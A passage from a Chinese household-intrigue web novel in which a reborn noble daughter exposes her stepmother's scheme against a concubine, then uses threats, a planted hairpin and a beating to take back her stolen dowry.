姜瓷看着打开的门,想到接下来事一瞬间有些尴尬。
岚姨娘娇呼一声,瞬间清醒了过来,用被子裹住自己的身体。
谢祈听着不懂,看到一男一女在床上,男的全身裸着也该明白了,霎时他脸颊爆红,急急转过身去。
又想起来姜瓷还在旁边,忙去捂她的眼睛。
姜瓷有意识的闭上,羽毛般的睫毛在他掌心轻扫而过,本就敏感的场景下,引得他一阵悸动。
她不想再看这对人,转过身把门拉上,寒声道:“把衣服穿好。”
待她再看过去,两人都人模人样了,速度倒是快,只是脸上那抹潮红怎么也散不去。
姜瓷在这房中待上一会也察觉到了不对,明明是隆冬却感到阵阵灼意。
她环视四周,看见一个香炉,烟雾从中袅袅飘起。
她快步走过去,轻嗅后脸色一沉,拿起香炉开门就往外面扔去。
门开着,风吹进来气息散了,身上的难受总算是好些了。她随眼瞟了下谢祈,耳朵红的像是要滴血,嘴唇微张站到了门口。
姜瓷盯着那男子,是府中的侍卫,名叫长风,因生的十分高大,姜瓷对他也多留意了几分。
平日里是个老实本分的人,甚至称得上是木讷,只知道长个头,不长脑子。
岚姨娘和他站了有两米远,两人都跟犯错的小孩似的,捏着手指低着头一句话不说。
姜瓷知道那香炉里有催情的香,但像她刚才一样,不至于没察觉就中了招。
她抱胸,微微扬眉盯着岚姨娘,示意她解释。
岚姨娘一说话那娇劲就上来了,委屈道:“小姐!有人要害我呀。”
她扶着额头朝姜瓷晃晃悠悠过来,一副柔弱的样子,要不是看她春风满面,姜瓷真要怀疑那香给她脑子熏坏了。
10. 心软
“我中了媚骨丹。”
岚姨娘这会总算是有了点正形,她站直了身子,眉头微蹙道:“这玩意儿出自烟花地,却极难获得,中毒之后若一个时辰内不解有性命之忧。”
姜瓷心中隐隐有了人选,外来宾客且不说认不认识岚姨娘,她才刚刚进府几日,来得人非富即贵,何必去害她?
唯一害岚姨娘能获利的就只有李氏,可误打误撞她被关在了房中,所以这才让姜瓷先遇见了岚姨娘。
她扶额微叹口气,岚姨娘以为姜瓷担心她,又换上平时那副样子,笑着道:“哎呀,小姐别担心我了,我这不是遇到那小郎君了嘛。”
说着她愤愤的抱胸,在房间来回走动,“也不知道是谁要害我命!”
姜瓷看着岚姨娘活蹦乱跳的模样,心里一阵后怕,若是今天进来的不是她而是别人,她都不敢想会有怎样的结果。
她视线越过岚姨娘,打量着看向后面的长风。
他依旧局促站着,低着头,红润退去后面色苍白了几分,姜瓷忍不住想,这人会不会也是李氏派来的。
岚姨娘既说这药很难得,那想必也不是李氏一届内宅妇人能弄到的东西,又是谁给她的?姜瓷想着决定要让李氏吃点苦了。
这几日安生日子过多了,居然欺负到她的人头上。
她眼中多了一抹狠戾,开口吩咐道:“来人,把后面那男人舌头割了,丢到陋巷去。”
做事不留后患,这还是周以延教过她的。
霎时间,屋中两人瞬间脊背发凉,长风满脸惊色,不自觉地发抖,不可置信地看着姜瓷。
岚姨娘第一次感觉到姜瓷的恐怖之处,这是一个刚及笄的少女会使出的手段吗!
她知道姜瓷是在帮她,可是她还是没法看着一个活生生的人从她面前消失。
谢祈已经走进门,听到这话时有些微震惊,但还是依照着姜瓷的话。
看着少女的神情,真是淡极了,不带任何情绪,同她这一身红衣一点都不搭。
岚姨娘见状急急下跪道:“小姐不可!他怎么说也是救我之人……”
“若他是旁人派来害你,毁你清白之人呢?”姜瓷带着种居高临下的气势。
若是因为一时的善良害了自己呢?她是死过一次的人,不能再因为相信别人走向万劫不复了。
岚姨娘哑声,她无法替别人保证什么,抬眼看向长风,一副本分模样,这般老实的人真的会害人吗。
静默了片刻,岚姨娘道:“我愿意相信他一次。”
“好。”姜瓷平静道。似乎并不意外岚姨娘会这么说。
她转身打开门就走了出去。
脚步很快,周身裹上了风雪,多了些凉意。
片刻后,她走到院子门口,忽然停下转头看向谢祈道:“你也觉得我过分吗。”
他跟着走一下没停住脚步,险些撞上姜瓷,两人之间的距离有些过于近了。
他想着刚才的事,脑海中一片旖旎,不自然就红了耳朵。
沉默片刻后,他坚定道:“没有。身处乱世本就该小心再小心,善良是对的,警惕也是对的,没有人做错什么。”
将人割舌丢到陋巷,几乎是断绝了长风的活路,便是李氏找到他,他也吐不出来一个字。
她又回想起曲桑宜的那番话,在内心坚定了自己。
须知万事皆有可能,若因为一时手软,造成以后的困境才是最绝望之事。再来一次同样的事,她不会再放过旁人了。
姜瓷垂眸轻声吐出两个字:“谢谢。”顿了顿,她又说:“今日委屈你帮我做坏事了。”
谢祈一怔,随后反应过来是曲桑宜流产的事,他并不觉得她是个恶人,因为他没见过谁做坏事的时候还会愧疚会犹豫。
这世界就是斗兽场,谁赢谁就可以活着走下去,暗无天日。
他道:“小姐永远是对的。”
天色已暗,白天落下的那场小雪也停了,姜瓷坐在院中石凳上,旁边站的是谢祈和竹月。
她一手撑住头,一手搭在玉石桌上,面前小花堆成了小山,娇嫩的花瓣在她手间被碾出汁液,香气却愈发浓郁。
谢祈站在一旁静静地看着她。
本是一片岁月静好之时,竹月却急匆匆来报。
“小姐,不好了!岚姨娘要被打死了。”她大口喘着气。
知道这件事时她还在跟府中几个侍女聊天,却偶然听见那些个侍女说今日府中姨娘跟侍卫私通,那肚兜都到了侍卫手上。
竹月一时间暗道不好,这不就是岚姨娘吗!下午她虽不在,可小姐回院中时却同她说过,叫她多打点紧,盯着点那叫长风的侍卫。
她还三根手指举在头上,发誓保证完成任务,怎么一转眼岚姨娘就被传出来私通了。
于是她急急去了姜卓远院中,里面传来阵阵怒骂声,话里话外要对岚姨娘动家法。
她闻言一惊,忙跑着来告诉小姐。
可姜卓远院子位于东边,姜瓷却在西院,这一路耽搁时间,再不去恐怕岚姨娘真要被打死了。
姜瓷神色一变,蹙眉蓦地起身,将手中花朵扔在了地上,快步朝东院走去,边走边道:“竹月,你去找哥哥来。”
她整个人冷的可怕,带着竹月从未见过的压迫感。
东院跟西院的氛围完全不同,西院中有一株梅花树,现处寒冬正是盛开之时,给向来淡雅的西院添了一抹艳色。
而东院一年四季皆是一片阴沉,姜卓远喜暗,院中更无一草一木,活像吃人的阎王殿。
岚姨娘哭叫的声音传来,如手臂粗的实木棍子落在身上,棍棍到肉,打的岚姨娘又是一阵惊心动魄的叫喊。
“住手!”姜瓷走到院前,微微喘着气,话语间自带威严。
姜卓远动家法她本是没有权力喊停的,可那两个家仆被她气势一惊,还真停下了将落下的木棍。
岚姨娘满脸泪水,身后一片血红,哪还见得平日的潇洒。
而那叫长风的侍卫,被反捆着跪在一旁,眼神空洞,面露死气。
姜卓远胡子一吹,正在气头上,被姜瓷打断,怒火宣泄而出:“这里岂容你插嘴!给我继续打!打死这个偷人的贱妇。”
平日里有多喜爱,现在发现被背叛就有多恨,怨毒的眼神仿佛要将岚姨娘活活剜死。
眼见着棍子要落到岚姨娘身上,姜瓷冲过去将岚姨娘护在了身下,速度之快,两个家仆反应不及,木棍落在姜瓷身上,她闷哼一声,家仆急急停手跪下。
她道:“父亲怎知姨娘一定偷了人。”
姜瓷不等姜卓远说话,强忍着疼起身,手指着长风:“我分
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明见到他翻进姨娘院子偷了东西,我身边的仆从都能做证,要先打也是先打死他。”
这话荒唐,完全无理由的指控,姜瓷也不指望姜卓远能相信,她要拖到哥哥来,总能救岚姨娘一命。
长风却忽然暴怒挣扎起来:“你胡说!是她进了我房中勾引我!”
平日里看起来老实的人还有这一面,话音落下,姜父一脚就踹了过去。
他的女人跑到一个下人的屋中去勾引他,无疑是让姜卓远丢尽了脸面,长风还敢说出来,姜卓远面色又黑了一分。
长风一口血吐出,半天没起得来,足见姜卓远使了多大的劲。
姜瓷眼中尽是寒意,只恨自己听了岚姨娘的话,饶了他一命。
就在此时,姜棣终于来了,好在他今晚未离开家,姜瓷心中微微松了一口气,哥哥一向宠着她,接下来的事应该不算困难。
姜棣一身黑色斗篷,听完竹月说的后眉头微蹙,因竹月半天说不上个所以然,只道姜瓷想要留岚姨娘一命,院中事第二天就会水落石出。
不过毕竟是姜瓷找他,他轻轻搁置下手中毛笔,到底还是去了。
东院阴沉,血气弥漫。
他只走进便眉头紧锁,姜瓷站立不稳身后还有血,他一时心惊愤怒,谁敢动她!
他走进姜瓷,沉声道:“对你动手了?”
姜瓷微怔,没想到哥哥的关注点在这,但她很快换过神色,委屈道:“我分明看见他偷了姨娘东西,他偏偏不承认,为了不让姨娘蒙冤受苦,这才替她挡了一下,哥哥不必在意这个。”
他睥睨着地上的长风,又将眼神落在姜父面上,开口道:“明日儿子会查清此事,给父亲一个交代,必不叫无辜之人受累。”
姜卓远虽不喜姜瓷,对姜棣却还算可以,可能因为姜棣官职在身,而她在姜卓远眼里只是一个克死母亲的无知幼女。
姜卓远今日打了岚姨娘,踹了长风,心里虽还气却也微微消解了几分。
听姜瓷的意思倒是误会一场了,岚姨娘这等美色本就难得,不过今日撕破脸就算真是误会一场也不可能将她留在府中了。
现在既然姜棣开口,那他便顺着台阶下去,总归还是怜惜美人的,若她真干净养在府外做个情妇,同当时的李氏一样也未尝不可。
他看了长风一眼甩袖道:“行,明日若没结果,这两人全部杖毙!”
姜瓷将岚姨娘和长风带到了自己院中,姜棣盯着她一路,希望她给出个解释。
岚姨娘和长风是真事儿她知道,所以所有狡辩都显得苍白无力,她只能另从别处下手。
长风又恢复那般要杀要剐随你便的模样,姜瓷看着心里窝火,但很快又让自己冷静下来。
再生气也没用,事情已经发生了。
她对姜棣说:“我心中有数,明日给哥哥答复。”随后她又垂眸,“之后便劳烦哥哥将岚姨娘送出府了。”
姜棣抿唇,一手放在身前一手背在身后,静静站着注视着她。
他总希望姜瓷能再依赖他一些,天知道竹月找到他告诉他姜瓷需要他时,他有多开心。
见姜棣沉默不说话,她以为他担心,下意识笑着拍了拍自己身后:“别担心,那不是我的血。”
姜棣闻言回神,看着眼前娇憨的妹妹,答道:“嗯。”
11. 出头鸟
岚姨娘趴在软榻上,身子颤抖着,背上布满了伤痕,触目惊心,姜瓷坐在一旁给她上药,棉布轻轻擦拭着。
她疼的又是一阵哭天喊地,双手紧紧捏住软枕。
姜瓷轻叹一口气道:“明日你便回家去吧,我会给你一笔银两。”
瞬间,岚姨娘安静下来,什么意思?小姐不要她了吗。
她眼底酸涩,虽然才与姜瓷认识数日,可这姑娘待她真是好极了,将她从青楼赎出来,还给她娘治病。
自己却因为一时心软,没能看清别人害了她又害了自己,小姐完全可以不管她,让她被打死,可姜瓷不仅救她还替她挨了一棍子。
想着想着岚姨娘豆大的泪水就流出来了,却不敢发出声音,害怕吵到姜瓷。
她哭得一抽一抽的,姜瓷看不见她的脸,但上药的手停了下来:“你这样要我怎么上药。”
岚姨娘这才出声,却是委屈极了的哭腔:“小姐我错了,你别赶我走啊。”
她吸着鼻子,一张艳丽的小脸鼻尖染上红润,真真惹人怜惜。
姜瓷琢磨着她的频率,慢慢将最后的地方擦拭好,起身收拾好东西,看着她道:“疼了就要长记性,你留不在这府中了,难道你愿意让人养在外面当个情妇?”
姜瓷了解姜卓远的为人,今日这般拉了脸,就算是洗清冤屈了他也不会将岚姨娘留在府中了,不过岚姨娘着实漂亮……
这就要另说了。
岚姨娘现在看到姜卓远就背后发凉,可她想留在小姐身边报答她,她半张脸埋在软枕间,有些闷闷不乐。
似是看出岚姨娘的心思,姜瓷安抚道:“你且安心在外待着,我需要你自然会找你。”
随即,她想起上一世刚嫁到将军府时,南方突发旱灾,随即又是洪涝,环境极其恶劣,因皇帝的不管不顾,百姓肺痨也是愈发严重。
产出丝绸只剩往年一半都赶不上,若是这时候开始购入倒也还算来得及。
日后无论是皇朝颠倒,还是为哥哥洗清冤屈都需要大量的钱财,再怎么说钱总是不嫌多的。
姜瓷心中有了想法,看向岚姨娘认真道:“出府后,你便四处买些丝绸,越多越好,钱由我来出。”
岚姨娘穿好衣服坐了起来,本在抽泣的她忽然停了片刻,忽然有些开心起来,小姐这是需要她了!
只是她没想明白为什么要买丝绸。
姜瓷不管她的疑惑,继续道:“哥哥会给你安排个宅子,买回来的丝绸堆成箱放在宅子中,日后自有用处。”
她怔怔点了点头,泪珠还挂在眼角,姜瓷深深看了她一眼便离开了房中。
翌日清晨。
柴房门被打开,一抹刺眼的阳光落在长风脸上,他虚了虚眼看清了来人。
姜瓷一袭紫色衣袍,闪耀着高贵的光芒,长风不由得一滞,但转瞬又恢复了那空洞木讷的眼神。
她也不急,拉了把椅子坐在了门前,竹月递过来一杯热茶,她捏在手中摇晃慢慢吹着,举止间尽是优雅。
茶终于凉了几分,她抿上一口,长风却闭起了眼睛,姜瓷抬手就将温热的茶尽数泼在他的脸上。
入口还微微有些烫,更别说泼在人脸上了,长风瞬间睁开了眼睛,怒视着她。
冬日寒风从敞开的门间灌入,刚刚还有些烫的茶流进衣物却瞬间变得寒凉,他本就穿得单薄,现在更是发起抖来。
“听说,你哥哥好赌,家里父母把宅子卖了也没能填上窟窿。”说话间,她又接过一杯茶。
此话落下,长风原本还有些愤怒的眼睛立马化为了恐惧。
他双唇不自觉颤抖,虽整个人被绳子反捆着,却不停挣扎,企图站起来。
“你…你想干什么!”他终于不复往日那般模样,大叫起来。
长风原也是个能过活的去的普通人家,可家中哥哥却突然沾上了赌博,将家底赔了个精光不说,更是欠了人巨额财产,自己还偷偷跑走了。
他的父亲因此被气的卧病在床,催债的上门,将年过半百的母亲一巴掌打在墙上,撞伤了手臂成了残疾。
他成了家中唯一一个能赚到钱的人,每天都生活在催债的压力之下,可那么多钱,他就是把这条命卖了也赚不到。
这时候一个妇人告诉他,只要按照她说的做,就替他哥哥还债,还答应赡养他的父母一辈子。
他那时就立刻答下,即使此举可能会要了他的性命。
姜瓷知道自己说对了,这种琐事并不难查,李氏能想到利用这种事来控制别人,也算是变聪明了。
她微微向后靠在了椅背上,以一种上位者的姿态看着他,缓缓道:“你以为你这么害我,我会让你的亲人好过?今天你就算是死了,我也要把你的坟掘出来。”
“你敢!”长风咬牙暴怒。
话落,又是一杯热茶泼在他脸上,竹月端来茶盘,上面还整整齐齐放着四盏茶。
姜瓷依旧那副淡淡的模样,纤细的手端起一杯茶,随意笑道:“那你猜猜我敢不敢。”
长风被泼的哑了声,冷静下来后,只余下了后怕,她绝对敢!
见威胁够了,姜瓷面上浅笑着放出条件:“若是你肯说是你去了岚姨娘房中偷了东西……”
“那我说不定会放你家人一马,并且我给你的东西会是那人的两倍。”
姜瓷当然不怕他不干,她也没有在跟他商量,她淡淡起身,将手中那杯茶随手倒在他脸上,转身离开了柴房,只留下一句你好好考虑吧。
长风一人独坐在柴房中,咬着牙想起身将那进风的门关上,却怎么也起不来。他从麻木到愤怒再到如今的悲凉,尽是连恨的力气都没有了。
走到廊下她惋惜地看着剩下的三盏茶,只恨没能全泼他脸上去,这可是上好的薄荷茶叶,泼他都浪费了。
竹月叹了口气,担心道:“小姐,万一他到时候不同意怎么办,那岚姨娘……”
若是他破罐子破摔,索性大家都别活了,该如何呢,这种人最是可怕,竹月担心不是没有道理。
姜瓷只勾唇笑着道:“我又不是非要他说不可。”
“哎,小姐,走错了。”竹月险些拐了弯,却看见姜瓷抬脚就走进了李氏的院子。
院中两个下人拿着大扫帚扫着青石地,李氏被关在房中不许出来。
下人见来人,纷纷弓身行礼,姜瓷随意点了下头吩咐道:“把这院中所有下人全部喊出来。”
一副要问责的模样。
那两人面面相觑,不知道发生什么了,但还是照办,唯唯诺诺答了声:“是”
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。
姜瓷又随手拉了把椅子坐在李氏房门前,跟尊大佛一般。
她回想起谢祈的腿伤,心中冷笑着,往日没跟他们计较,索性今日一齐收拾了。
不一会儿,面前趴了三排近二十来人,姜卓远果然宠李氏,她院中都不见得能有这么多人。
为首的老婆子看见姜瓷,还如往日一般同她套近乎:“哎哟,二姑娘怎么来啦,夫人在房中。”
得到的却是姜瓷一记冷漠的眼光,她察觉到尴尬,回头看旁人都跪在地上,她只能也讪讪跪下。
姜瓷胳膊轻搭在椅子一侧,一手放在腿上另一手撑着头,好不悠哉,她淡淡道:“你们谁拿了我的嫁妆自己站出来。”
说完,底下人皆是一阵心惊,几个在李氏院中官大的都多少跟姜瓷攀过关系,在李氏的指示下顺走的嫁妆更是不少。
不过那嫁妆最后也是落到了李氏手里,她们也不过拿个碎银几两。可拿了就是拿了,若是被发现是要受罚的。
不知的人左顾右盼,来回询问,参与的人皆是心虚,额间都染上一层薄汗。
姜瓷见状淡笑,继续道:“不必慌张,冤有头债有主,现在你们只需告诉我拿了多少,最后落到了谁的手里。”
即使话说到这个份上,也没人愿意当那个出头鸟,姜瓷的目光在前排几个人面前扫视着。
竹月站在姜瓷后面,心头也是骤然一紧,她原以为小姐都过昏了头,不在意这些了,没想到是为了今日做铺垫,在心里对小姐的崇拜又更多上了一分。
刚才同姜瓷搭话的老婆子却还是不承认,跪在地上就嘴硬道:“小姐你说什么呢,我们院中同小姐最是要好,怎么会拿小姐东西呢。”
似是拿定了姜瓷没证据,她说这话时底气倒挺足。
姜瓷凝眸看着她,这般油嘴滑舌之人,之前她怎么就认为是个好人呢。
送她的东西比送竹月的东西还要多上几分,只因她会阿谀奉承,哄姜瓷开心,说姜瓷是与周以延最相配的人,她那时还真相信了。
如今看透,自己从前真是蠢到发指!
看着面前几个人由一开始的心虚,变成附和这个老婆子,姜瓷勾唇一笑,都是好样的,真以为自己拿你们没办法了?要知道想撬开别人嘴的方法多的是。
“你在这干什么!”
不等姜瓷开口,一道满是鼻音的尖锐女声传来,话语中满满的警惕和敌意。
姜嫣从房中出来就看到眼前的阵仗,仆人全部跪在姜瓷面前,真是反了天了!
而她居然一副居高临下的姿态坐在那,不知道的还以为她是这里的主人。
竹月听着她的声音一时没忍住,掩嘴噗嗤一声,姜嫣怒目朝她看去。
刚准备开口质问,姜瓷笑着打断了她:“妹妹感冒就不要出来了,注意身体啊。”
这话在姜嫣眼里无疑是赤裸裸的嘲笑,她前日又是掉到冰水里,又是被那该死的侍从扔进了雪地里,半天无人搭理。
夜里回去喉咙就疼痛难忍,到了今日勉强能说出话却是一副滑稽模样,而这些都是因为她姜瓷!
她捏住拳头死死咬牙道:“你凭何到我院子里来撒泼!爹爹不会饶过你的。”
姜瓷看着她,冷冷笑着,出头鸟这不就来了?
12.就冤枉
姜瓷不屑看她,只对着门外喊道:“来人。”
话落两个拿着实木棍的大汉走了进来。她来前就猜到这帮人不会老老实实开口。
不过既然姜嫣自讨苦吃,那她也不拦着。
那两个壮汉浑身的肌肉,走起路来感觉地都动了几番,拿着的木棍上更是许多凸起的结节,一棍下去怕是要打的人吐血。
姜嫣咽了咽口水,瞪大眼睛看着姜瓷道:“我警告你别乱来!你敢动我院中的人我定要你好看!”
姜瓷淡笑着,她说这话向来没什么威慑力,除了扯出姜卓远能压一压她,她还能做什么?
她面上含笑,却叫姜嫣脊背发凉:“这院中有人拿了我的嫁妆,我难道无权过问?”
之前姜嫣不知道她为什么而来,如今知道了忍不住害怕,李氏做的事她是知道的,那些个嫁妆早就被她拿出去当掉换银子了,现在还能找到什么!
刚开始她以为姜瓷蠢笨绝不会发现,后来意识到就算姜瓷发现了她也不会说什么。
她那么依赖李氏,怎么可能会跟她撕破脸,年幼丧母,缺失母爱的孩子就是这样。
一直到前段时间姜嫣都在心里嘲笑姜瓷,笑她蠢笨好掌控,将李氏当成母亲,可李氏心里只有自己一个孩子!
可现在姜瓷跟中了邪似得,她丝毫不怀疑,若是她知道了,那棍子绝对会落到她的身上。
她知道自己不能露怯,定了定心神道:“你有什么证据说是她们拿的。”
姜瓷玩味笑着,却岔开了话题:“前几日妹妹来同我道歉,说冤枉了我的侍从……”
她故意的停顿住,眸子含笑看着姜嫣,她虽坐着,姜嫣却觉得有千斤压在头顶。
“然后呢!你想说什么!”
姜瓷说:“只是我的簪子却不知为什么找不到了,有人说看到妹妹拿了。”
“你胡说!”姜嫣气急,手指着姜瓷就尖声道,“青天白日下怎可乱冤枉人!”
姜瓷缓缓站起了身,绕开跪了一地的下人,款款走到姜嫣面前。
声音清亮:“有没有一搜便知。”
不等姜嫣反驳她就喊道:“竹月。”
“是,小姐。”竹月颔首走过去,两人靠近时姜瓷悄悄将簪子塞在了她手心。
竹月抬头一瞬,明白了小姐的意思,藏好簪子后走进了房中。
姜嫣见竹月要走,上前就拉她,怒道:“谁允许你们搜我房间了!”
她的手还未落下便被一个壮汉拦住了,她抬头就要骂出声,见对方一脸凶神恶煞,另一只手还拿着个实木棍子,瞬间哑了声。
心道,反正她也没拿,搜便搜。
可是她之前用这般计谋害人,就没想过最后会落到自己身上吗。
不一会儿,竹月从房中出来,带出了那只簪子。
姜嫣顿时瞳孔地震,尖声大叫道:“不可能!”她转眼看向姜瓷含笑的神情,明白过来,“你们陷害我!”
姜瓷将簪子接过手上,拿在手中把玩,微笑着朝姜嫣晃了晃:“庶妹偷嫡姐嫁妆该如何啊?”
那两个壮汉瞬间心领神会,不等姜嫣反应,上前就扣住她的肩膀,直直将她往长凳上押。
她剧烈挣扎着,口中大叫着:“放开我!你们敢动我爹爹不会放过你们的!”
姜瓷自然是不怕姜卓远突然过来,他现在不在府中,等他回来什么事都结束了,谅这人也不敢多说一句。
她说:“下手都轻些,别见了红。”
姜嫣一个弱女子哪能挣过两个壮汉,她一边哭一边大骂姜瓷,底下仆人见此更加害怕,不自觉地咽了咽口水。
见着她被摁在了长凳上,木棍就要落下,李氏却突然打开了房门。
她咬着牙一脸柔和的笑容:“二姑娘这是闹哪出,再怎么样也不能这般打妹妹吧,打坏了身子老爷要心疼了。”
姜瓷闻言扬眉,总算是出来了。
若是能在心里杀人,李氏恐怕已经将姜瓷碎尸万段了。
从一开始闹出那么大动静,她就一直在门内听着,得知姜瓷来讨要嫁妆更是后背发凉滑坐在门口,不敢出去。
现在她居然要打姜嫣!李氏害怕她真的丧心病狂把姜嫣打伤了,这才开了门,出来却也没举好措辞。
姜瓷淡淡开口道:“这院中有人拿了我的嫁妆,现在在妹妹房间发现了,该不该打?”
她扫了一眼地上瑟瑟发抖的下人,威胁道:“打完妹妹还有这些人,既然不说那便打到说为止。”
先前那个还在油嘴滑舌的老婆子现在一句话也说不出来了,嘴唇苍白。
她旁边穿青色衣服的丫鬟却是慌张磕头,伏在地上,带上了哭腔:“是我们拿的,可是这些东西最后都交给姨娘了!我们一个也没碰啊。”
这些东西她们本就没有拿,就只是收了点李氏的银子而已,眼见着就要挨打,她恐惧地直接向姜瓷认了错。
姜瓷闻言抬眸看向李氏,她怒视着那个丫鬟,察觉到姜瓷的目光却又得装上伪善的笑容,表情扭曲的很。
李氏瞪着那丫鬟道:“你再敢在二小姐面前胡诌信不信拔了你的舌头。”
青衣丫鬟不停地嗑着头,声音中带上几分绝望:“奴绝不敢有半句虚言。”
在这的都是些人精,有了那个先出声的人,接下来应和的人越来越多。连那个老婆子都磕头认错,说话也认真了起来。
姜瓷就这么看着门前的李氏,她站在台阶下,李氏明明站的比她高却莫名的感觉是自己在仰视她,可所有人都在指控她,她承认也不是不承认也不是。
姜嫣趴在长凳上挣扎起来,大喊着:“你有什么证据证明嫁妆真在这!说不定这些人早被你买通了!”
她敢说这话就是因为姜瓷的嫁妆全都被她拿去换了银子,谅她现在也找不出什么东西。
姜瓷冷笑着道:“给我打。”
得令,一棍接一棍的落下,姜嫣哭丧般叫着,叫人惊心动魄。
李氏想上前阻难,可姜瓷眸光盯着她让她脚下发烫,一步都走不出去。
姜瓷走到椅子边,将它转了个方向坐了上去,淡笑道:“证据什么的总能找到,姨娘明白这个道理吧。”
李氏再也不敢将她当成之前那般会无条件信任自己的人了,可是要她还她也拿不出来,她绝不能被赶出府!
带着这个念头,她差点给姜瓷跪下了,可是她也不确定姜瓷放过她的可能有几分。
只听着一旁棍子落在
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姜嫣的身上,又是一阵揪心的叫。
片刻后,棍子停了下来,足足二十棍,上次她打谢祈也是二十棍,姜嫣趴在长凳上半天起不来身,还是姜瓷唤了人将她带进了房中。
姜瓷还是那副漫不经心的模样:“我现在给姨娘两个选择,一个我将事情捅出去姨娘被赶出府,另一个我给姨娘半年时间凑齐还我。”
李氏根本没得选,急急走下台阶,就想要拉姜瓷的手,姜瓷不着痕迹地移开手。
李氏也没觉得尴尬,只笑道:“半年,半年绝对还给二姑娘,底下下人手脚不干净,我定会好好管教。”
姜瓷喉间嗯了一声,笑着说出真正目的:“那就劳烦姨娘告诉我点事了。”
这话说的含糊,李氏一时没明白什么意思。
姜瓷也不急,平静道:“媚骨丹哪来的。”
此话一出,李氏刚刚认为逃过一劫的笑容顿时僵在脸上,心里猛地一跳,她怎么会知道!
而且这小贱蹄子语气怎么这样肯定,没有问是不是她,而是直接问哪来的。
顿时她神色精彩,眼底既是不可置信又是愤怒,转换过后还是扯着那抹牵强的笑,心虚道:“这是什么东西呀,我不知道。”
她不答,姜瓷也不问了,起身就走,留下句话:“姨娘收拾收拾吧,明日准备回家了。”
李氏再蠢笨也知道她是什么意思了,她居然威胁她!
可自己偏偏没办法,她赶紧上去拉住姜瓷,颇有些挫败道:“我说我说,是那宋御史的夫人赵氏给我的。”
姜瓷停下脚步,转头看着她,示意她继续说。
李氏没办法,破罐子破摔,左右这东西也不是她的,她只是被人误导了而已。
她硬着头皮道:“她得知我在家中失宠,于是才想了这一招。”
赵氏她并无印象,宋御史……她只知他家中那个嫡子,京城中出了名的纨绔子弟,上一世娶妻不到半月妻子居然跳河了。
其中的事她也并不了解,这事还是在将军府时听下人说的。
只是赵氏无缘无故来帮一个姨娘有何打算?要说是攀关系去和曲桑宜攀不是更好吗。
姜瓷笑着说:“姨娘晚上在父亲面前如实承认便好,这一院子人可都听着呢。”
李氏并不知道姜瓷还有其他事,向后退了半步惊愕道:“什…什么?”
承认她害人?姜卓远向来不喜欢玩弄心机的女人,这是要断了她的后路啊!
李氏捏紧拳头,咬牙看着姜瓷,她已经一只脚踏出了院子,却吩咐竹月给她递过来什么东西。
她接过展开一看,瞬间瘫坐在地上,是嫁妆的当票!
竹月躬身道:“这东西还有一些,姨娘若是办好了事自然尽数归还。”
阳光将姜瓷的背影拉的很长,影子印在凹凸不平的青石板地上扭曲着。
明晃晃的威胁!李氏坐在地上,将那票据撕碎了扔在地上,却又想起来还得拿那东西去赎回嫁妆,一时间又哭又恨。
老婆子起身来安慰她,小心翼翼道:“夫人啊,这二小姐现在怎么跟变了个人似的。”
李氏找到了发泄的人,斜眼看去大骂道:“滚!若不是你们她怎么会知道!全部给我滚!”
13.臆想
太阳西沉,天空一片橙红,李氏坐在姜嫣床边,心疼地看着她。
姜嫣趴在床上,每次呼吸都钻心的疼,她捏紧拳头锤在床上,大骂道:“贱人!!”
随后又是倒吸一口凉气。
床被她锤的发出沉闷的响声,李氏无奈的叹了口气,眸子里却都是怨恨。
“娘!我去告诉爹爹,我们不能放过那个贱人!”她转头过来看着李氏,眼中带着泪花。
“不可!”李氏急道。
姜嫣顿时委屈涌上心头,豆大的泪珠落下,想在床上撒泼打滚,奈何一动就痛。
她质问道:“为什么啊!我们难道要任她欺负吗。”
李氏也知道自己话说重了,呼出一口气,咬牙道:“她手中有我们的把柄,嫣儿须知能忍耐者才能成大事。”
“娘一定会为你报仇的。”
-
东院内,夕阳洒进镂空雕花窗户,印在少女的身上。
姜卓远坐在檀木椅子上,手旁放着茶杯,热气腾腾,颇有种一家之主的姿态。
姜棣站在他的面前,眉眼深沉,躬身道:“父亲,那人承认了。”
身后侍从一脚踢出长风,他发丝凌乱,嘴唇干裂,整个人狼狈不堪。
侍从上前从他口中扒出了破布,示意他说话。
长风“忒”出一口,眼里不似平时那般木讷,盯着姜瓷毫不掩饰的恨意。
姜棣微微蹙眉道:“说吧。”
“哼,你们指望我说什么?那娘们身上哪里有痣我都知道!”长风满脸不屑,视死如归,还偏要将旁人一起拉下水。
话刚落下,两声清脆的巴掌就落在了他的脸上,姜瓷手都麻了,她气笑道:“你真是好得很!”
姜卓远脸色黑到了极致,拿起桌上的茶杯就往地上砸去,怒道:“这就是你们的人证?”
长风居然如此不顾他的亲人,还真是叫竹月说中了。
虽知道自己还有一张牌,可他的话着实让姜瓷恶心。
他脸上两道红肿的巴掌印高高肿起,似是看出姜瓷的想法,嗤笑道:“别想威胁我,我不怕死!”
姜瓷冷冷扫过他一眼,朝姜父躬身道:“姨娘清誉岂是这种人可以玷污的,女儿这还有一个人。”
姜卓远冷哼一声,显然是不相信他们的话了,大手一指便道:“现在就去把那个贱妇赶出门去!”
刚说完,李氏一手搭在丫鬟手上,款款走了进来,倒是自带气场。
只是听见姜卓远这话的时候脚步明显一顿。
众人目光聚集在她身上,她吐出一口气,直接趴了下去,把其他人一惊,她带着哭腔道:“老爷,是妾一时迷了心窍,生了一颗妒心,听了赵氏的话这才找人偷岚姨娘东西。”
“在二姑娘的指引下,妾迷途知返,望老爷姑娘饶妾一次啊!”
只是她说这二姑娘的时候带着点咬牙切齿。
话落,场上皆是一片安静,只余下了李氏的哭声。
长风最先挣扎起来:“你放屁!”
姜棣见状接过一旁的布料,塞进了长风口中,他的所有愤怒都化作了一段段呜咽。
做完一切,他缓声开口:“这人家中好赌,最近却忽然还上了一部分,儿认为姨娘所言非虚。”
这一圈话真真假假,姜卓远也不知信了几分,他蓦地冷静下来。
也不知是太荒唐没来得及发怒,他只狐疑问道:“赵氏?”
姜瓷淡淡答道:“是宋御史的夫人。”
闻言他又是一阵沉默,接下来却出乎意料的平静下来:“知道了,你们都退下吧。”
姜瓷心中不解,为何听到赵氏的时候姜卓远就这般诡异的安静。
她转身蹙眉,刚准备离开,就听见姜卓远说:“李氏善妒好嫉,罚禁闭半月!”
刚讪讪以为自己逃过一劫的李氏险些没站稳,扶稳了发髻又转过身去磕头。
将长风带到院中,他怒目圆瞪,姜瓷拿出了塞在他口中的布料,他又是“忒”了一声。
“要杀要剐随你便,赶紧给我个痛快!反正那人答应我保我家人平安。”
他本意就是跟岚姨娘同归于尽,现在事没办好,他也不会活着。
